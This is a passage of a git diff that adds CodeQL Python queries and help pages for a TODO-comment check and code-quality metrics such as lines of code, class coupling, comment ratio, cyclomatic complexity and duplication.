    • TODO: move this code somewhere else
    • +
    • TODO: find a better solution to this workaround
    • +
    • TODO: test this
    • +
    + +
    + + +

    It is very important that TODO comments are +not just removed from the code. Each of them must be addressed in some way.

    + +

    Simpler comments can usually be immediately addressed by fixing the code, +adding a test, doing some refactoring, or clarifying the intended behavior of +a feature.

    + +

    In contrast, larger issues may require discussion, and a significant amount +of work to address. In these cases it is a good idea to move the comment to an +issue-tracking system, so that the issue can be tracked +and prioritized relative to other defects and feature requests.

    + +
    + +

    The following example shows a function where a TODO comment indicates a known limitation in the +existing implementation. The function should be reviewed, the limitation addressed and then the +comment deleted.

    + + + +
    + + +
  • + Wikipedia: + Comment tags. +
  • + + +
    +
    diff --git a/python/ql/src/Lexical/ToDoComment.ql b/python/ql/src/Lexical/ToDoComment.ql new file mode 100644 index 00000000000..b8bcf98ada8 --- /dev/null +++ b/python/ql/src/Lexical/ToDoComment.ql @@ -0,0 +1,21 @@ +/** + * @name 'To Do' comment + * @description Writing comments that include 'TODO' tends to lead to a build up of partially + * implemented features. + * @kind problem + * @tags maintainability + * readability + * documentation + * external/cwe/cwe-546 + * @problem.severity recommendation + * @sub-severity low + * @deprecated + * @precision medium + * @id py/todo-comment + */ + +import python + +from Comment c +where c.getText().matches("%TODO%") or c.getText().matches("%TO DO%") +select c, c.getText() diff --git a/python/ql/src/Metrics/CLinesOfCode.qhelp b/python/ql/src/Metrics/CLinesOfCode.qhelp new file mode 100644 index 00000000000..666bd473cb4 --- /dev/null +++ b/python/ql/src/Metrics/CLinesOfCode.qhelp @@ -0,0 +1,23 @@ + + + +

    This metric measures the number of lines of code in a function. This excludes comments and blank lines.

    + +

    Having too many lines of code in a function is an indication that it can be split into several functions of more manageable size.

    + +
    + + +

    Long functions should be examined to see if they can be split into smaller, more cohesive functions.

    + +
    + + +
  • M. Fowler, Refactoring. Addison-Wesley, 1999.
  • +
  • Wikipedia: Code refactoring.
  • + + +
    +
    diff --git a/python/ql/src/Metrics/CLinesOfCode.ql b/python/ql/src/Metrics/CLinesOfCode.ql new file mode 100644 index 00000000000..5c5453fb76a --- /dev/null +++ b/python/ql/src/Metrics/CLinesOfCode.ql @@ -0,0 +1,15 @@ +/** + * @name Lines of code in functions + * @description The number of lines of code in a function. + * @kind treemap + * @id py/lines-of-code-per-function + * @treemap.warnOn highValues + * @metricType callable + * @metricAggregate avg sum max + * @tags maintainability + */ +import python + +from Function f +select f, f.getMetrics().getNumberOfLinesOfCode() as n +order by n desc \ No newline at end of file diff --git a/python/ql/src/Metrics/ClassAfferentCoupling.qhelp b/python/ql/src/Metrics/ClassAfferentCoupling.qhelp new file mode 100644 index 00000000000..a1e2792c046 --- /dev/null +++ b/python/ql/src/Metrics/ClassAfferentCoupling.qhelp @@ -0,0 +1,80 @@ + + + +

    +This metric measures the number of incoming dependencies for each +class, that is the number of other classes that depend on it. +

    + +

    +Classes that are depended upon by many other classes typically require a lot of +effort to change, because changing them will force their dependents to change +as well. This is not necessarily a bad thing -- indeed, most systems will have +some such classes (one example might be a string class). However, classes with a high number +of incoming dependencies +and a high number of outgoing dependencies are hard to maintain. A class with both high afferent +coupling and high efferent coupling is referred to as a hub class. +Such classes can be problematic, because on the one hand they are hard to +change (high afferent coupling), yet on the other they have many reasons to +change (high efferent coupling). This contradiction yields code that is very +hard to maintain or test. +

    + +

    +Conversely, some classes may only be depended on by very few other classes. Again, +this is not necessarily a problem -- we would expect, for example, that the +top-level classes of a system would meet this criterion. When lower-level +classes have very few incoming dependencies, however, it can be an indication +that a class is not pulling its weight. In extreme cases, classes may even +have an afferent coupling of 0, indicating that they are dead +code. +

    + +
    + + +

    +It is unwise to refactor a class based purely on its high or low number of +incoming dependencies -- a class's afferent coupling value only makes sense +in the context of its role in the system as a whole. However, when combined +with other metrics such as efferent coupling, it is possible to make some +general recommendations: +

    + +
      +
    • +Classes with high numbers of incoming and outgoing dependencies +are hub classes that are prime candidates for refactoring (although this +will not always be easy). The general strategy is to split the class into +smaller classes that each have fewer responsibilities, and refactor the code +that previously used the hub class accordingly. +
    • + +
    • +Classes that have very few incoming dependencies and are not at the top level +of a system may not be pulling their weight and should be refactored, e.g. +using the 'Collapse Hierarchy' or 'Inline Class' techniques in [Fowler] +(see the section entitled 'Lazy Class' on p.68). +
    • + +
    • +Classes that have an afferent coupling of 0 may be dead code -- +in this situation, they can often be deleted. +
    • +
    + + + +
    + + + +
  • +M. Fowler. Refactoring. Addison-Wesley, 1999. +
  • + + +
    +
    diff --git a/python/ql/src/Metrics/ClassAfferentCoupling.ql b/python/ql/src/Metrics/ClassAfferentCoupling.ql new file mode 100644 index 00000000000..5fd2ec4c16f --- /dev/null +++ b/python/ql/src/Metrics/ClassAfferentCoupling.ql @@ -0,0 +1,18 @@ +/** + * @name Incoming class dependencies + * @description The number of classes that depend on a class. + * @kind treemap + * @id py/afferent-coupling-per-class + * @treemap.warnOn highValues + * @metricType reftype + * @metricAggregate avg max + * @tags changeability + * modularity + */ + +import python + +from ClassMetrics cls +select cls, cls.getAfferentCoupling() as n +order by n desc + diff --git a/python/ql/src/Metrics/ClassEfferentCoupling.py b/python/ql/src/Metrics/ClassEfferentCoupling.py new file mode 100644 index 00000000000..34638826234 --- /dev/null +++ b/python/ql/src/Metrics/ClassEfferentCoupling.py @@ -0,0 +1,10 @@ +class X: + + def iUseY(y): + y.doStuff() + + def soDoY(): + return Y() + + def iUseZ(z1, z2): + return z1.combine(z2) diff --git a/python/ql/src/Metrics/ClassEfferentCoupling.qhelp b/python/ql/src/Metrics/ClassEfferentCoupling.qhelp new file mode 100644 index 00000000000..b28d6e5fb2e --- /dev/null +++ b/python/ql/src/Metrics/ClassEfferentCoupling.qhelp @@ -0,0 +1,60 @@ + + + +

    +Efferent coupling is the number of outgoing dependencies for each class. In other words, it is the +number of other classes on which each class depends. +

    + +

    +A class that depends on many other classes is quite brittle, because if any of +its dependencies change, the class itself may have to change as well. Furthermore, the +reason for the high number of dependencies is often that different parts of +the class depend on different groups of other classes, so it is common to +find that classes with high efferent coupling also lack cohesion. +

    + +
    + + +

    +You can reduce efferent coupling by splitting up a class so that each part depends on fewer classes. +

    + +
    + + +

    In the following example, class X depends on both Y and +Z. +

    + + + +

    However, the methods that use Y do not use Z, and the methods +that use Z do not use Y. Therefore, the class can be split into +two classes, one of which depends only on Y and the other only on Z

    + + + +

    +Although this is a slightly artificial example, this sort of situation +does tend to occur in more complicated classes, +so the general technique is quite widely applicable. +

    + +
    + + + +
  • +IBM developerWorks: Evolutionary architecture and emergent design: Emergent design through metrics. +
  • +
  • +R. Martin, Agile Software Development: Principles, Patterns and Practices. Pearson, 2011. +
  • + + +
    +
    diff --git a/python/ql/src/Metrics/ClassEfferentCoupling.ql b/python/ql/src/Metrics/ClassEfferentCoupling.ql new file mode 100644 index 00000000000..d8d9dabd5dd --- /dev/null +++ b/python/ql/src/Metrics/ClassEfferentCoupling.ql @@ -0,0 +1,18 @@ +/** + * @name Outgoing class dependencies + * @description The number of classes that this class depends upon. + * @kind treemap + * @id py/efferent-coupling-per-class + * @treemap.warnOn highValues + * @metricType reftype + * @metricAggregate avg max + * @tags testability + * modularity + */ + +import python + +from ClassMetrics cls +select cls, cls.getEfferentCoupling() as n +order by n desc + diff --git a/python/ql/src/Metrics/ClassEfferentCouplingGood.py b/python/ql/src/Metrics/ClassEfferentCouplingGood.py new file mode 100644 index 00000000000..1131ee6b5dd --- /dev/null +++ b/python/ql/src/Metrics/ClassEfferentCouplingGood.py @@ -0,0 +1,12 @@ +class YX: + + def iUseY(y): + y.doStuff() + + def soDoY(): + return Y() + +class ZX: + + def iUseZ(z1, z2): + return z1.combine(z2) diff --git a/python/ql/src/Metrics/CommentRatio.qhelp b/python/ql/src/Metrics/CommentRatio.qhelp new file mode 100644 index 00000000000..32271ccbb85 --- /dev/null +++ b/python/ql/src/Metrics/CommentRatio.qhelp @@ -0,0 +1,34 @@ + + + +

    This metric measures the percentage of lines in a file that contain a comment or are part of a +multi-line comment. Note that this metric ignores docstrings.

    + +

    The percentage of comment lines should always be considered with the value for the related metric +"Percentage of docstrings". For public modules, functions, classes and methods docstrings are the +preferred method of documentation because the information can be inspected by the program at runtime, +for example, as an interactive help system or as metadata for a function.

    + +

    Having a low percentage of comments and docstrings is an indication that a file does not have +sufficient documentation. Undocumented code is difficult to understand, modify, and reuse.

    + +
    + +

    Add documentation to files with a low comment and docstring ratio. Use docstrings to document +public modules, functions, classes and methods.

    + +
    + + +
  • Wikipedia: +Need for comments.
  • +
  • Python PEP 8: Comments.
  • +
  • Python for Beginners: +Python Docstrings.
  • +
  • Python PEP 257: Docstring Conventions.
  • + + +
    +
    diff --git a/python/ql/src/Metrics/CommentRatio.ql b/python/ql/src/Metrics/CommentRatio.ql new file mode 100644 index 00000000000..3f04da28283 --- /dev/null +++ b/python/ql/src/Metrics/CommentRatio.ql @@ -0,0 +1,18 @@ +/** + * @name Percentage of comments + * @description The percentage of lines in a file that contain comments. Note that docstrings are + * reported by a separate metric. + * @kind treemap + * @id py/comment-ratio-per-file + * @treemap.warnOn lowValues + * @metricType file + * @metricAggregate avg max + * @tags maintainability + * documentation + */ +import python + +from Module m, ModuleMetrics mm +where mm = m.getMetrics() and mm.getNumberOfLines() > 0 +select m, 100.0 * ((float)mm.getNumberOfLinesOfComments() / (float)mm.getNumberOfLines()) as ratio +order by ratio desc diff --git a/python/ql/src/Metrics/CyclomaticComplexity.qhelp b/python/ql/src/Metrics/CyclomaticComplexity.qhelp new file mode 100644 index 00000000000..0335580c4b8 --- /dev/null +++ b/python/ql/src/Metrics/CyclomaticComplexity.qhelp @@ -0,0 +1,38 @@ + + + + + +

    This metric measures the total cyclomatic complexity for the functions in a file. +

    + +

    +Cyclomatic complexity approximates the number of paths that can be taken during the execution of a +function (and hence, the minimum number of tests cases necessary to test it thoroughly). Straight-line +code has zero cyclomatic complexity, while branches and loops increase cyclomatic complexity.

    + +

    Files that contain too many complex functions can be difficult to test, understand, and maintain.

    + +
    + +

    Try to simplify overly-complex code. For example:

    + +
    • Highly nested conditionals can be simplified by rethinking the requirements that the function fulfills.
    • +
    • Repeated tests can be refactored into helper functions, which also decreases the risk of +introducing defects by copying and pasting code.
    • +
    • Large complex functions can often be split into smaller more focused functions.
    • +
    + + +
    + + +
  • M. Fowler. Refactoring. Addison-Wesley, 1999.
  • +
  • T. J. McCabe. A Complexity Measure. IEEE Transactions on Software Engineering, SE-2(4), +December 1976.
  • +
  • Wikipedia: Cyclomatic complexity.
  • + +
    +
    diff --git a/python/ql/src/Metrics/CyclomaticComplexity.ql b/python/ql/src/Metrics/CyclomaticComplexity.ql new file mode 100644 index 00000000000..c5ab9858202 --- /dev/null +++ b/python/ql/src/Metrics/CyclomaticComplexity.ql @@ -0,0 +1,19 @@ +/** + * @name Cyclomatic complexity of functions + * @description The cyclomatic complexity per function (an indication of how many tests are necessary, + * based on the number of branching statements). + * @kind treemap + * @id py/cyclomatic-complexity-per-function + * @treemap.warnOn highValues + * @metricType callable + * @metricAggregate avg max sum + * @tags testability + * complexity + * maintainability + */ +import python + +from Function func, int complexity +where complexity = func.getMetrics().getCyclomaticComplexity() +select func, complexity +order by complexity desc \ No newline at end of file diff --git a/python/ql/src/Metrics/Dependencies/ExternalDependencies.ql b/python/ql/src/Metrics/Dependencies/ExternalDependencies.ql new file mode 100644 index 00000000000..49506b0a0f9 --- /dev/null +++ b/python/ql/src/Metrics/Dependencies/ExternalDependencies.ql @@ -0,0 +1,44 @@ +/** + * @name External dependencies + * @description Count the number of dependencies that a Python source file has on external packages. + * @kind treemap + * @treemap.warnOn highValues + * @metricType externalDependency + * @precision medium + * @id py/external-dependencies + */ + +import python +import semmle.python.dependencies.TechInventory + +/* + * These two columns encode four logical columns: + * + * 1. Python source file where the dependency originates + * 2. Package Object, ideally referring to a PyPI or similar externally provided package + * 3. Version of that package Object, if known + * 4. Number of dependencies from the source file to the package + * + * Ideally this query would therefore return three columns, + * but this would require changing the dashboard database schema + * and dashboard extractor. + * + * The first column (the Python source file) is prepended with a '/' + * so that the file path matches the path used for the file in the + * dashboard database, which is implicitly relative to the source + * archive location. + */ + +predicate src_package_count(File sourceFile, ExternalPackage package, int total) { + total = strictcount(AstNode src | + dependency(src, package) and + src.getLocation().getFile() = sourceFile + ) +} + +from File sourceFile, int total, string entity, ExternalPackage package +where +src_package_count(sourceFile, package, total) and +entity = munge(sourceFile, package) +select entity, total +order by total desc diff --git a/python/ql/src/Metrics/Dependencies/ExternalDependenciesSourceLinks.ql b/python/ql/src/Metrics/Dependencies/ExternalDependenciesSourceLinks.ql new file mode 100644 index 00000000000..3129edd6328 --- /dev/null +++ b/python/ql/src/Metrics/Dependencies/ExternalDependenciesSourceLinks.ql @@ -0,0 +1,26 @@ +/** + * @name External dependency source links + * @kind source-link + * @metricType externalDependency + * @id py/dependency-source-links + */ + +import python +import semmle.python.dependencies.TechInventory + +/* + * This query creates the source links for the ExternalDependencies.ql query. + * Although the entities in question are of the form '/file/path<|>dependency', the + * /file/path is a bare string relative to the root of the source archive, and not + * tied to a particular revision. We need the File entity (the second column here) to + * recover that information once we are in the dashboard database, using the + * ExternalEntity.getASourceLink() method. + */ +from File sourceFile, string entity +where + exists(PackageObject package, AstNode src | + dependency(src, package) and + src.getLocation().getFile() = sourceFile and + entity = munge(sourceFile, package) + ) +select entity, sourceFile diff --git a/python/ql/src/Metrics/DirectImports.qhelp b/python/ql/src/Metrics/DirectImports.qhelp new file mode 100644 index 00000000000..db74ac2076f --- /dev/null +++ b/python/ql/src/Metrics/DirectImports.qhelp @@ -0,0 +1,26 @@ + + + +

    This metric measures the number of modules that are directly imported by each module (file). +Modules that import many other modules often have too many responsibilities and are not well-focused. +This makes it difficult to understand and maintain the module. +

    + +
    + +

    Split and/or refactor files with too many responsibilities to create modules with a single, +well-defined role.

    + + +
    + + +
  • Python Language Reference: The import statement. +
  • M. Fowler, Refactoring. Addison-Wesley, 1999.
  • +
  • Wikipedia: Code refactoring.
  • + + +
    +
    diff --git a/python/ql/src/Metrics/DirectImports.ql b/python/ql/src/Metrics/DirectImports.ql new file mode 100644 index 00000000000..1eeb7694879 --- /dev/null +++ b/python/ql/src/Metrics/DirectImports.ql @@ -0,0 +1,16 @@ +/** + * @name Direct imports per file + * @description The number of modules directly imported by this file. + * @kind treemap + * @id py/direct-imports-per-file + * @treemap.warnOn highValues + * @metricType file + * @metricAggregate avg max + * @tags modularity + * maintainability + */ +import python + +from ModuleObject m, int n +where n = count(ModuleObject imp | imp = m.getAnImportedModule()) +select m.getModule(), n \ No newline at end of file diff --git a/python/ql/src/Metrics/DocStringRatio.qhelp b/python/ql/src/Metrics/DocStringRatio.qhelp new file mode 100644 index 00000000000..4e124223d15 --- /dev/null +++ b/python/ql/src/Metrics/DocStringRatio.qhelp @@ -0,0 +1,35 @@ + + + +

    This metric measures the percentage of lines in a file that contain a docstring. Note that this +metric ignores comments. + +

    Docstrings are a good way to associate documentation with a specific object in Python. For public +modules, functions, classes and methods docstrings are the preferred method of documentation because +the information can be inspected by the program at runtime, for example, as an interactive help system +or as metadata for a function.

    + +

    Having a low percentage of docstrings is often an indication that a file has insufficient +documentation. However, the value for the related metric "Percentage of comments" should also be +considered because packages and non-public methods may be documented using comments. Undocumented +code is difficult to understand, modify, and reuse.

    + +
    + +

    Add documentation to files with a low docstring ratio. It is most useful to start documenting +the public functions first.

    + +
    + + +
  • Python for Beginners: +Python Docstrings.
  • +
  • Python PEP 8: Documentation +Strings.
  • +
  • Python PEP 257: Docstring Conventions.
  • + + +
    +
    diff --git a/python/ql/src/Metrics/DocStringRatio.ql b/python/ql/src/Metrics/DocStringRatio.ql new file mode 100644 index 00000000000..43d8d7af248 --- /dev/null +++ b/python/ql/src/Metrics/DocStringRatio.ql @@ -0,0 +1,17 @@ +/** + * @name Percentage of docstrings + * @description The percentage of lines in a file that contain docstrings. + * @kind treemap + * @id py/doc-string-ratio-per-file + * @treemap.warnOn lowValues + * @metricType file + * @metricAggregate avg max + * @tags maintainability + * documentation + */ +import python + +from Module m, ModuleMetrics mm +where mm = m.getMetrics() and mm.getNumberOfLines() > 0 +select m, 100.0 * ((float)mm.getNumberOfLinesOfDocStrings() / (float)mm.getNumberOfLines()) as ratio +order by ratio desc diff --git a/python/ql/src/Metrics/DuplicationProblems.qhelp b/python/ql/src/Metrics/DuplicationProblems.qhelp new file mode 100644 index 00000000000..e55f8f8e455 --- /dev/null +++ b/python/ql/src/Metrics/DuplicationProblems.qhelp @@ -0,0 +1,17 @@ + + + +

    +Duplicated code increases overall code size, making the code base +harder to maintain and harder to understand. It also becomes harder to fix bugs, +since a programmer applying a fix to one copy has to always remember to update +other copies accordingly. Finally, code duplication is generally an indication of +a poorly designed or hastily written code base, which typically suffers from other +problems as well. +

    + + +
    +
    diff --git a/python/ql/src/Metrics/External/CommitDisplayStrings.ql b/python/ql/src/Metrics/External/CommitDisplayStrings.ql new file mode 100644 index 00000000000..dd5104996d0 --- /dev/null +++ b/python/ql/src/Metrics/External/CommitDisplayStrings.ql @@ -0,0 +1,10 @@ +/** + * @name Display strings of commits + * @kind display-string + * @id py/commit-display-strings + * @metricType commit + */ +import python +import external.VCS +from Commit c +select c.getRevisionName(), c.getMessage() + "(" + c.getDate().toString() + ")" diff --git a/python/ql/src/Metrics/External/CommitSourceLinks.ql b/python/ql/src/Metrics/External/CommitSourceLinks.ql new file mode 100644 index 00000000000..a31b73e2a7c --- /dev/null +++ b/python/ql/src/Metrics/External/CommitSourceLinks.ql @@ -0,0 +1,11 @@ +/** + * @name Source links of commits + * @kind source-link + * @id py/commit-source-links + * @metricType commit + */ +import python +import external.VCS +from Commit c, File f +where f.fromSource() and f = c.getAnAffectedFile() +select c.getRevisionName(), f diff --git a/python/ql/src/Metrics/FClasses.qhelp b/python/ql/src/Metrics/FClasses.qhelp new file mode 100644 index 00000000000..2584ef06b5d --- /dev/null +++ b/python/ql/src/Metrics/FClasses.qhelp @@ -0,0 +1,41 @@ + + + +

    This metric measures the number of classes in each file.

    + +

    There are advantages and disadvantages associated with defining multiple classes in the same file. +However, if you define unrelated classes in one file then the resulting module API is difficult for +other developers to understand and use.

    + +

    The disadvantages of putting multiple classes in the same file include:

    +
    • unless the classes are closely related, it can be difficult to understand and maintain the code, +even with good support from development tools
    • +
    • it increases the risk that multiple developers will work on the same file at once, and increases the +incidence of merge conflicts
    • +
    • it may be a symptom of badly designed modules, where many different features are handled by a +single file.
    • +
    + +

    Sometimes there are advantages of putting multiple classes in the same file, for example:

    +
    • it reduces the proliferation of files containing very few lines of code
    • +
    • it can be used to group logically-related classes together.
    + +
    + +

    Each module should have a single, well-defined role. Consequently, only logically-related classes +should be grouped together in the same file. If your code defines unrelated classes in the same file +then you should refactor the code and create new files, each containing logically related classes.

    + +
    + + +
  • Python: Class +Definitions.
  • +
  • M. Fowler, Refactoring. Addison-Wesley, 1999.
  • +
  • Wikipedia: Code refactoring.
  • + + +
    +
    diff --git a/python/ql/src/Metrics/FClasses.ql b/python/ql/src/Metrics/FClasses.ql new file mode 100644 index 00000000000..da667bd1df5 --- /dev/null +++ b/python/ql/src/Metrics/FClasses.ql @@ -0,0 +1,17 @@ +/** + * @name Classes per file + * @description Measures the number of classes in a file + * @kind treemap + * @id py/classes-per-file + * @treemap.warnOn highValues + * @metricType file + * @metricAggregate avg sum max + * @tags maintainability + */ + +import python + +from Module m, int n +where n = count(Class c | c.getEnclosingModule() = m) +select m, n +order by n desc diff --git a/python/ql/src/Metrics/FFunctionsAndMethods.qhelp b/python/ql/src/Metrics/FFunctionsAndMethods.qhelp new file mode 100644 index 00000000000..67bd594f3b8 --- /dev/null +++ b/python/ql/src/Metrics/FFunctionsAndMethods.qhelp @@ -0,0 +1,27 @@ + + + +

    This metric measures the number of functions and methods in each file.

    + +

    Tracking this metric over time will indicate which parts of the system are under active development. +Cross-referencing with the other metrics "Cyclomatic Complexity" and "Lines of Code" is recommended, +because files with high values for all three metrics are very likely to be too big and unwieldy; such +files should be split up.

    + +
    + +

    If a file is too big, identify the different tasks that are carried out by its functions and split +the file according to these tasks.

    + +
    + + +
  • Python: Function Definitions.
  • +
  • M. Fowler, Refactoring. Addison-Wesley, 1999.
  • +
  • Wikipedia: Code refactoring.
  • + + +
    +
    diff --git a/python/ql/src/Metrics/FFunctionsAndMethods.ql b/python/ql/src/Metrics/FFunctionsAndMethods.ql new file mode 100644 index 00000000000..b8d3a43b1dd --- /dev/null +++ b/python/ql/src/Metrics/FFunctionsAndMethods.ql @@ -0,0 +1,17 @@ +/** + * @name Functions and methods per file + * @description Measures the number of functions and methods in a file. + * @kind treemap + * @id py/functions-and-methods-per-file + * @treemap.warnOn highValues + * @metricType file + * @metricAggregate avg sum max + * @tags maintainability + */ + +import python + +from Module m, int n +where n = count(Function f | f.getEnclosingModule() = m and f.getName() != "lambda") +select m, n +order by n desc diff --git a/python/ql/src/Metrics/FLines.ql b/python/ql/src/Metrics/FLines.ql new file mode 100644 index 00000000000..04d9abad7e4 --- /dev/null +++ b/python/ql/src/Metrics/FLines.ql @@ -0,0 +1,15 @@ +/** + * @name Number of lines + * @description The number of lines in each file. + * @kind treemap + * @id py/lines-per-file + * @treemap.warnOn highValues + * @metricType file + * @metricAggregate avg sum max + */ +import python + +from Module m, int n +where n = m.getMetrics().getNumberOfLines() +select m, n +order by n desc diff --git a/python/ql/src/Metrics/FLinesOfCode.qhelp b/python/ql/src/Metrics/FLinesOfCode.qhelp new file mode 100644 index 00000000000..79aaea2cfb1 --- /dev/null +++ b/python/ql/src/Metrics/FLinesOfCode.qhelp @@ -0,0 +1,37 @@ + + + +

    This metric measures the number of lines of code in each file. The value excludes docstrings, comments and +blank lines.

    + +

    Organizing source into very large files is not recommended because:

    +
    • it can be difficult to understand and maintain the code, even with good support from +development tools
    • +
    • it increases the risk that multiple developers will work on the same file at once, and increases the +incidence of merge conflicts
    • +
    • it may be a symptom of weak code organization, where many different features are handled by functions in +a single file.
    • +
    + +
    + + +

    The solution depends on the underlying cause:

    +
    • if individual classes or functions are too large then they should be refactored into smaller +modules
    • +
    • if the class contains many classes or functions, they should be +moved to their own modules (sometimes in a subsidiary module, where appropriate)
    • +
    • if the file has been automatically generated by a tool, then it should be left alone.
    • +
    + +
    + + +
  • M. Fowler, Refactoring. Addison-Wesley, 1999.
  • +
  • Wikipedia: Code refactoring.
  • + + +
    +
    diff --git a/python/ql/src/Metrics/FLinesOfCode.ql b/python/ql/src/Metrics/FLinesOfCode.ql new file mode 100644 index 00000000000..778897c6ae0 --- /dev/null +++ b/python/ql/src/Metrics/FLinesOfCode.ql @@ -0,0 +1,18 @@ +/** + * @name Lines of code in files + * @kind treemap + * @description Measures the number of lines of code in each file (ignoring lines that + * contain only docstrings, comments or are blank). + * @treemap.warnOn highValues + * @metricType file + * @metricAggregate avg sum max + * @precision very-high + * @tags maintainability + * @id py/lines-of-code-in-files + */ +import python + +from Module m, int n +where n = m.getMetrics().getNumberOfLinesOfCode() +select m, n +order by n desc diff --git a/python/ql/src/Metrics/FLinesOfComments.qhelp b/python/ql/src/Metrics/FLinesOfComments.qhelp new file mode 100644 index 00000000000..fe91fa3d460 --- /dev/null +++ b/python/ql/src/Metrics/FLinesOfComments.qhelp @@ -0,0 +1,19 @@ + + + +

    This metric measures the number of comment lines per file. A low number of comments may indicate files that are difficult to understand due to poor documentation.

    + +
    + +

    Consider if the file needs more documentation. Most files should have at least a comment explaining their purpose.

    + +
    + + +
  • Jeff Atwood. Avoiding Undocumentation. 2005.
  • +
  • Steve McConnell. Code Complete. 2nd Edition. Microsoft Press. 2004.
  • + +
    +
    diff --git a/python/ql/src/Metrics/FLinesOfComments.ql b/python/ql/src/Metrics/FLinesOfComments.ql new file mode 100644 index 00000000000..38b19c2dc46 --- /dev/null +++ b/python/ql/src/Metrics/FLinesOfComments.ql @@ -0,0 +1,17 @@ +/** + * @name Lines of comments in files + * @kind treemap + * @description Measures the number of lines of comments in each file (including docstrings, + * and ignoring lines that contain only code or are blank). + * @treemap.warnOn lowValues + * @metricType file + * @metricAggregate avg sum max + * @precision very-high + * @id py/lines-of-comments-in-files + */ +import python + +from Module m, int n +where n = m.getMetrics().getNumberOfLinesOfComments() + m.getMetrics().getNumberOfLinesOfDocStrings() +select m, n +order by n desc diff --git a/python/ql/src/Metrics/FLinesOfDuplicatedCode.qhelp b/python/ql/src/Metrics/FLinesOfDuplicatedCode.qhelp new file mode 100644 index 00000000000..30a98df0cee --- /dev/null +++ b/python/ql/src/Metrics/FLinesOfDuplicatedCode.qhelp @@ -0,0 +1,6 @@ + + + + \ No newline at end of file diff --git a/python/ql/src/Metrics/FLinesOfDuplicatedCode.ql b/python/ql/src/Metrics/FLinesOfDuplicatedCode.ql new file mode 100644 index 00000000000..ac8e0a3a25c --- /dev/null +++ b/python/ql/src/Metrics/FLinesOfDuplicatedCode.ql @@ -0,0 +1,26 @@ +/** + * @name Duplicated lines in files + * @description The number of lines in a file, including code, comment and whitespace lines, + * which are duplicated in at least one other place. + * @kind treemap + * @treemap.warnOn highValues + * @metricType file + * @metricAggregate avg sum max + * @precision high + * @tags testability + * @id py/duplicated-lines-in-files + */ +import python +import external.CodeDuplication + +from File f, int n + +where n = count(int line | + exists(DuplicateBlock d | d.sourceFile() = f | + line in [d.sourceStartLine()..d.sourceEndLine()] and + not whitelistedLineForDuplication(f, line) + ) +) + +select f, n +order by n desc diff --git a/python/ql/src/Metrics/FLinesOfSimilarCode.qhelp b/python/ql/src/Metrics/FLinesOfSimilarCode.qhelp new file mode 100644 index 00000000000..fd3aeb3bc0b --- /dev/null +++ b/python/ql/src/Metrics/FLinesOfSimilarCode.qhelp @@ -0,0 +1,31 @@ + + + +

    +A file that contains many lines that are similar to other code within the code base is +problematic for the same reasons as a file that contains a lot of (exactly) +duplicated code. +

    + +
    + + + + +

    +Refactor similar code snippets by extracting common functionality into functions +that can be reused across modules. +

    + +
    + + + +
  • Wikipedia: Duplicate code.
  • +
  • M. Fowler, Refactoring. Addison-Wesley, 1999.
  • + + +
    +
    diff --git a/python/ql/src/Metrics/FLinesOfSimilarCode.ql b/python/ql/src/Metrics/FLinesOfSimilarCode.ql new file mode 100644 index 00000000000..e78fe52959b --- /dev/null +++ b/python/ql/src/Metrics/FLinesOfSimilarCode.ql @@ -0,0 +1,26 @@ +/** + * @name Similar lines in files + * @description The number of lines in a file, including code, comment and whitespace lines, + * which are similar in at least one other place. + * @kind treemap + * @treemap.warnOn highValues + * @metricType file + * @metricAggregate avg sum max + * @precision high + * @tags testability + * @id py/similar-lines-in-files + */ +import python +import external.CodeDuplication + +from File f, int n + +where n = count(int line | + exists(SimilarBlock d | d.sourceFile() = f | + line in [d.sourceStartLine()..d.sourceEndLine()] and + not whitelistedLineForDuplication(f, line) + ) +) + +select f, n +order by n desc diff --git a/python/ql/src/Metrics/FNumberOfTests.qhelp b/python/ql/src/Metrics/FNumberOfTests.qhelp new file mode 100644 index 00000000000..be632542b74 --- /dev/null +++ b/python/ql/src/Metrics/FNumberOfTests.qhelp @@ -0,0 +1,52 @@ + + + +

    + This metric measures the number of tests below this location in the tree. + At a file level, this would just be the number of tests in the file. +

    + +

    + A function or method is considered to be a "test" if one of the major + testing frameworks would invoke it as part of a test run. + Recognized frameworks include unittest, pytest, doctest and nose. +

    + +

    + In general, having many test cases is a good thing rather than a bad + thing. However, at the file level, tests should typically be grouped + by the functionality they relate to, which makes a file with an + exceptionally high number of tests a strong candidate for splitting + up. At a higher level, this metric makes it possible to compare the + number of tests in different components, potentially flagging + functionality that is comparatively under-tested. +

    +
    + +

    + Since it is typically not a problem to have too many tests, this + metric is usually included for the purposes of collecting + information, rather than finding problematic areas in the code. With + that in mind, it is usually a good idea to avoid an excessive number + of tests in a single file, and to maintain a broadly comparable + level of testing across components. +

    + +

    + When assessing the thoroughness of a code base's test suite, the number + of tests provides only part of the story. Test coverage + statistics allow a more detailed examination of which parts of the + code deserve improvements in this area. +

    +
    + + +
  • Python Standard Library: unitest.
  • +
  • Python Standard Library: doctest.
  • +
  • http://pytest.org.
  • +
  • Read the docs: http://nose.readthedocs.org/en/latest.
  • + +
    +
    diff --git a/python/ql/src/Metrics/FNumberOfTests.ql b/python/ql/src/Metrics/FNumberOfTests.ql new file mode 100644 index 00000000000..1cc914a0d55 --- /dev/null +++ b/python/ql/src/Metrics/FNumberOfTests.ql @@ -0,0 +1,18 @@ +/** + * @name Number of tests + * @description The number of test methods defined in a module + * @kind treemap + * @treemap.warnOn lowValues + * @metricType file + * @metricAggregate avg sum max + * @precision medium + * @precision very-high + * @id py/tests-in-files + */ +import python +import semmle.python.filters.Tests + +from Module m, int n +where n = strictcount(Test test | test.getEnclosingModule() = m) +select m.getFile(), n +order by n desc diff --git a/python/ql/src/Metrics/FunctionNumberOfCalls.qhelp b/python/ql/src/Metrics/FunctionNumberOfCalls.qhelp new file mode 100644 index 00000000000..a348ddf92ba --- /dev/null +++ b/python/ql/src/Metrics/FunctionNumberOfCalls.qhelp @@ -0,0 +1,71 @@ + + + +

    If the number of calls that is made by a function (or method) to other functions is high, +the function can be difficult to +understand, because you have to read through all the functions that it calls +to fully understand what it does. There are various reasons why +a function may make a high number of calls, including: +

    + +
      +
    • +The function is simply too large in general. +
    • + +
    • +The function has too many responsibilities (see [Martin]). +
    • + +
    • +The function spends all of its time delegating rather than doing any work itself. +
    • +
    + +
    + + +

    +The appropriate action depends on the reason why the function +makes a high number of calls: +

    + +
      +
    • +If the function is too large, you should refactor it into multiple smaller +functions, using the 'Extract Method' refactoring from [Fowler], for example. +
    • + +
